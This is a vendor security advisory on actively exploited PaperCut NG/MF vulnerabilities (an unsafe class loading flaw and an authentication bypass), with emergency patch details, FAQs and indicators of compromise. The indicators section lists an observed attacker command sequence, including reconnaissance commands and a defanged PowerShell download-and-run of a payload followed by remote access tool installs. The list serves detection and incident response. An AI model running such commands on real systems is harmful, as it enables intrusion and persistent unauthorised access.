Contents
URGENT Security Advisory: PaperCut NG/MF Security Bulletin (27 Aug 2026)
THE PAGE APPLIES TO:
Last updated September 1, 2026
Contents
URGENT Security Advisory
PaperCut Software security response team is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF.
We are aware of confirmed customer incidents and are treating this matter with the highest priority. Our investigation is ongoing. We will update this security bulletin as verified information becomes available, including indicators of compromise and remediation guidance.
Immediate action required
If your PaperCut NG/MF Application Server is accessible from the public internet, immediately restrict web access to trusted IP addresses only (e.g. internal IP addresses).
Use firewall rules, network access controls, or equivalent measures to ensure the PaperCut server’s web interfaces cannot be reached from untrusted internet addresses. Take this action now, even if you have not observed suspicious activity.
Emergency Patch Release 3
This is an emergency patch for customers with public-facing PaperCut NG/MF servers who are unable to take other mitigating action.
[Update: 1 September 2026 6:22pm (AEST)]
Emergency Patch (Release 3) has been released by our emergency response team and supersedes Release 2. You do not need to install previous patches, this patch is an accumulation of all emergency releases. This release addresses two known regressions and adds additional hardening and mitigation against potential attack chains. Regressions include:
- Addresses broken SAML login flows
- Restored support for using legacy Microsoft SQL Server drivers for external card lookup
We recommend all customers with internet-facing Application Servers install Release 3 as soon as possible, even if they have already applied an earlier emergency release.
Download and follow the standard upgrade procedure.
[Update: 28 August 2026 8:42pm (AEST)]
Following further work with our internal security team and external researchers, including Huntress and watchTowr, we have released an updated Emergency Patch (Release 2) that includes additional hardening beyond the original emergency patch. We recommend all customers install Release 2, even if you have already applied the original emergency patch.
PaperCut MF
MF Version | Download links | Checksums (SHA256) |
v26 |
| 9375a9c3cf84140a1d8e21b72d3d2c57d85d4de09ea9ae1dc021b64732427da7 |
| 02526fea432069eb90279c4e300ea44bf46eaf432a95b05e8a59b55a0c5c001b | |
| bcbe7b2c2d6463b146ec870c9e584e4e404d15756ce822c9277539848d870259 | |
v25 |
| ba81e871ca20d688dd26fc950abaa49fb5ccb71a6dce3be97736256f644c0633 |
| 03ce77aaed2c8dd8e28b76eb314ee3f5c18b4f13968e5edcb7be469a8faf1c59 | |
| 2b6abda60be63d42053f3625c52b65ab45ed29b1226de7944b8724520d579ecf | |
v24 |
| 0c915094bbf9f6e768e0d12dc9a8005a52594cc0760262010c1cc03861b472aa |
| 61512014718d1fc2d655c298b7a78bb3ec2ee411470cb57c7df6dfbbebc782cc | |
| 6f320956b05b7b29fa2943f6a1af488a48c8a69b42a09d1f0e6d2f6b8183fe23 |
PaperCut NG
NG Version | Download links | Checksums (SHA256) |
v26 |
| 51585ee73b70362da3739b8ec77f79336a5c5db9bddcde3fd49ccfe953b529a1 |
| 939962a7e660e7bd90dd50e28bce2a337562140813f885c42cf792a2877d05e6 | |
| 2996de9a85cc5f071df126539d8af8c12b72a46146021a06e15e53aceb5f83c1 | |
v25 |
| 083e52d55a27724f3f8829537937f80b3977568c27d933cb8f89b61ddc1be9d4 |
| 68858979b4db69e7c4dc41f2d50ea2642a087855601bdb7f33d8a294c259fbdb | |
| 9f12cc0b4cf009f01c1daba3d227e5a122c163e919517d25b01d4cada235d630 | |
v24 |
| ebfea162e52b9f2768b15077647b78d3808473932c4c951f6e82ff9040ca8ced |
| cc010e42b0e94fe67a973a9b8303848f1ee9028b06d78ae9256daf43611b225e | |
| b655928dda17d138aea14f8a150eb0ff509d7676b33b1b569a9f853319ffd7cc |
Post Install Check:
- Are you using an external database for Card/ID number lookups? Review the FAQ below.
- Using site-servers? Review the FAQ below.
Security issues addressed
Our security team has now made public the following two CVE’s.
| CVE | Notes | CVSS rating and vector |
| CVE-2026-82078 Unsafe Dynamic Class Loading in Database Connector | An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers. Vulnerability Type: CWE-470 Use of Externally-Controlled input to select classes or code ('unsafe reflection'). Impact: If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process. Mitigated in: PaperCut NG/MF Emergency Patch (see above Release 3). | 9.4 (CRITICAL)
|
| CVE-2026-81578 Authentication Bypass | An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks. Vulnerability Type: CWE-306 Missing authentication for critical function. Impact: This allows an unauthenticated remote attacker to modify certain system configurations. Mitigated in: PaperCut NG/MF Emergency Patch (see above Release 3). | 8.8 (HIGH)
|
Who is potentially impacted
This advisory applies to all versions of:
- PaperCut NG
- PaperCut MF
Indicators of compromise and investigation guidance
The following may be indicators of compromise:
-
Alerts from intrusion-detection, endpoint-security, or network-monitoring tools involving the PaperCut Application Server, particularly suspicious post-exploitation activity from
pc-app.exe. -
Missing, unexpectedly truncated, or deleted PaperCut
server.logfiles. -
Any of the following entries in server.log:
ERROR No suitable driver found for jdbc:no:xERROR DatabaseUtils - Database error looking up cardID: VALUES CAST
Additional indicators of compromise [updated 30 August 2026, 3:35pm (AEST)]:
We are aware of the following additional indicators of compromise.
Strings in server.log:
DB URL: jdbc:derby:memory:pwn;create=trueDatabase error looking up cardID: VALUES CAST(X'cafebabeDatabase error looking up cardID: VALUES CAST('DB URL: jdbc:no:x DB Driver: <5-char random name>
Files written to disk:
<install>\server\lib\<5-char-name>.class<install>\server\data\content\<5-char-name>.cmd<install>\server\data\content\<5-char-name>.out
Note that these files may be cleaned up by the attacker as activity progresses, so their absence does not rule out compromise.
As every customer environment is unique, it is difficult to identify a single consistent pattern of post-compromise activity, but observed behaviour includes the pc-app.exe (or pc-app) process launching child shell processes (cmd.exe) and running whoami & ver, with endpoint protection in some cases preventing further execution and isolating the machine.
Where execution was not prevented, the following command sequence was observed, shown as elapsed time from the first command (starting at 00:00:00) rather than wall-clock time (URLs below are defanged with hxxp and [.] to prevent accidental execution; replace with http/. before using in detection tooling or blocklists):
00:00:00 whoami & ver
00:01:19 tasklist
00:04:42 nltest /dclist:
00:06:09 quser & dir c:\users
00:16:07 powershell Invoke-WebRequest -Uri hxxps://sendit[.]sh/Gg7Rp/ace[.]exe -OutFile C:\ProgramData\ace.exe
00:18:07 dir c:\programdata /a
00:19:27 c:\programdata\ace.exe /S
00:21:29 Windows Service "Remote Access Service" installed (SimpleHelp agent, C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\SimpleService.exe, running as LocalSystem, set to auto-start)
00:21:41 tasklist
00:27:37 powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe
We recommend checking for the presence of a Windows service named “Remote Access Service” running SimpleService.exe from the path above, and for unexpected AnyDesk installations, as potential indicators of post-compromise remote access tooling.
Important: The absence of the above indicators is not confirmation that a system has not been affected. PaperCut will publish validated, specific indicators and further guidance here as soon as they are available.
Current Status
Update | Details |
Work in progress | This advisory is currently in an active state. Background: The PaperCut’s security emergency response team is using information provided by a number of customer’s security team, digital forensics and incident response teams to monitor and address any potential vulnerabilities. Emergency Patches have been issues and a QA'd Maintenance Release is in progress. |
Emergency Patch Release 3 published | Emergency Patch 3 has been released for v24, v25, and v26 by our emergency response team. This release addresses two known regressions (SAML and legacy Microsoft SQL Server support) and adds additional hardening and mitigation against potential attack chains. PaperCut would like to thank the watchTowr crew, and a number of independent security resources for their ongoing security analysis. See download links above and follow the upgrade process. |
FAQs
Q Is this an official release?
No. We have not gone through our usual release process. This is an emergency patch for customers with public-facing PaperCut servers who are unable to take other mitigating action. More information will be published as it becomes available.
Q Do I need to update other components (e.g. Site Servers, Secondary servers, User Client)?
Site Servers and secondary/print servers should be updated to a patched version, not just the primary Application Server.
Mobility Print and Print Deploy server components are not affected and do not need to be updated.
Our client software (including the User Client, Print Deploy client, and Mobility Print installer) is not affected and does not require an update.
Q What should I do if I suspect my server has been compromised?
If you suspect your server has been compromised, we recommend securing current server backups, completely wiping and rebuilding the Application Server, and restoring a clean backup taken before any suspicious behavior was detected. Additionally, you should activate your organization's security response procedures and follow standard incident protocols.
Our insight into individual environments is limited, so we cannot confirm or assess the full scope of impact from a compromised server.
Q Will there be a release for NG/MF 23 and earlier?
The recommended path for all customers prior to PaperCut NG/MF v24 is to upgrade to the latest version.
Q My install uses an external database for card number lookups, what changes are required?
This is a rarely used feature and most customers will not need to take any action, for those that do, follow these steps:
Add security.card-number-lookup.enabled=Y to server/security.properties and restart the Application Server.
The default setting for this feature is off (N) which disables the feature. Without this key set, PaperCut NG/MF will silently ignore any external user lookup calls even though the Admin UI may still show the feature as configured.
Q How do I apply the Emergency Patch?
Download and follow the standard upgrade procedure.
Q I applied the patch and added security.card-number-lookup.enabled=Y to server/security.properties, but card lookups are still failing
If you use SQL Server for external card lookups and the legacy Sourceforge jTDS driver, we recommend updating to the latest supported Microsoft SQL JDBC driver (see the manual).
This is best practice but may not resolve every case. If lookups are still failing, contact your reseller or PaperCut Support.
Q Do I need to restrict access to my Mobility Print ports?
No. Mobility Print runs on a separate, unaffected architecture and is not impacted, so you can leave Mobility Print ports open.
Q Does the vulnerability affect PaperCut Hive/Pocket?
No, this security bulletin and the outlined vulnerability does not apply to PaperCut Hive or PaperCut Pocket.
Q What does Release 3 change compared to Release 2?
This release addresses two known regressions and adds additional hardening and mitigation against potential attack chains. Regressions include:
Addresses broken SAML login flows
Restored support for using legacy Microsoft SQL Server drivers for external card lookupEmergency Patch Release 3 adds further hardening that closes off additional attack vectors we have observed being exploited in the wild. It does not change the guidance on Card/ID number lookups or other configuration steps from Emergency Patch Release 2.
Q I already applied Release 2, do I need to apply Release 3?
Yes, you should install Release 3 following the standard upgrade process.
You do not need to install previous patches, this patch is an accumulation of all emergency releases.
Q Who is contributing to PaperCut's response?
The security community's response to this incident has been a genuinely collaborative effort. PaperCut would like to thank Huntress, watchTowr, and a number of independent security advisors, as well as customers' Digital Forensics and Incident Response teams, who have all worked alongside us to share information.
Q Can you tell me more about what’s going on?
The advisory is kept very factual and it's aim is to provides customers with the information they need. Our CEO and Co-founder has written a blog post to open the window on what’s happening.
Security notifications
To stay informed about high impact security updates please subscribe to our Security notifications sign-up form.
Updates
Date | Update/action |
27 August 2026 (AEST) | Published the initial Security Bulletin. |
27 August 2026, 8:00pm (AEST) | Minor wording updates. |
27 August 2026, 9:02pm (AEST) | Investigation update posted. |
28 August 2026, 02:10am (AEST) | Published emergency patch. Patch released for PaperCut NG/MF v25 and v26. |
28 August 2026, 10:43am (AEST) | Additional information added for customers using Card/ID number lookups from an external database. |
28 August 2026, 08:42pm (AEST) | Published Emergency Patch Release 2 which includes additional hardening developed with internal security and external researchers. Added guidance on required PaperCut would like to thank Huntress and watchTowr for their ongoing security analysis, helping to harden Release 2. |
28 August 2026, 10:08pm (AEST) | Published Emergency Patch Release 2 for PaperCut NG/MF v24. |
29 August 2026, 10:53am (AEST) | Additional FAQ added. |
29 August 2026, 04:35pm (AEST) | Added note about external database Card/ID number lookup feature and SAML investigation. |
29 August 2026, 08:48pm (AEST) | Additional FAQ added. |
30 August 2026, 10:34am (AEST) | Added Current Status update on ongoing development and support availability. Added FAQ with additional advice for customers using external database Card/ID number lookup feature. |
30 August 2026, 03:35pm (AEST) | Added additional indicators of compromise. |
31 August 2026, 4:21pm (AEST) | Status update posted. No new information to report. |
1 September 2026, 11:18am (AEST) | Additional FAQ added and component FAQ updated with clarification. |
1 September 2026, 02:10pm (AEST) | Added build numbers to download links. |
1 September 2026, 6:22pm (AEST) | Published Emergency Patch Release 3. This release addresses two known regressions (SAML and legacy Microsoft SQL Server support) and adds additional hardening and mitigation against potential attack chains. |
1 September 2026, 11:00 (AEST) | Fixed an incorrect link in the FAQs. |
Category: Security Bulletins
Subcategory: Security and Privacy
Comments
Comments are not available in this preview environment. On papercut.com, this space shows the live Disqus comment thread for this page.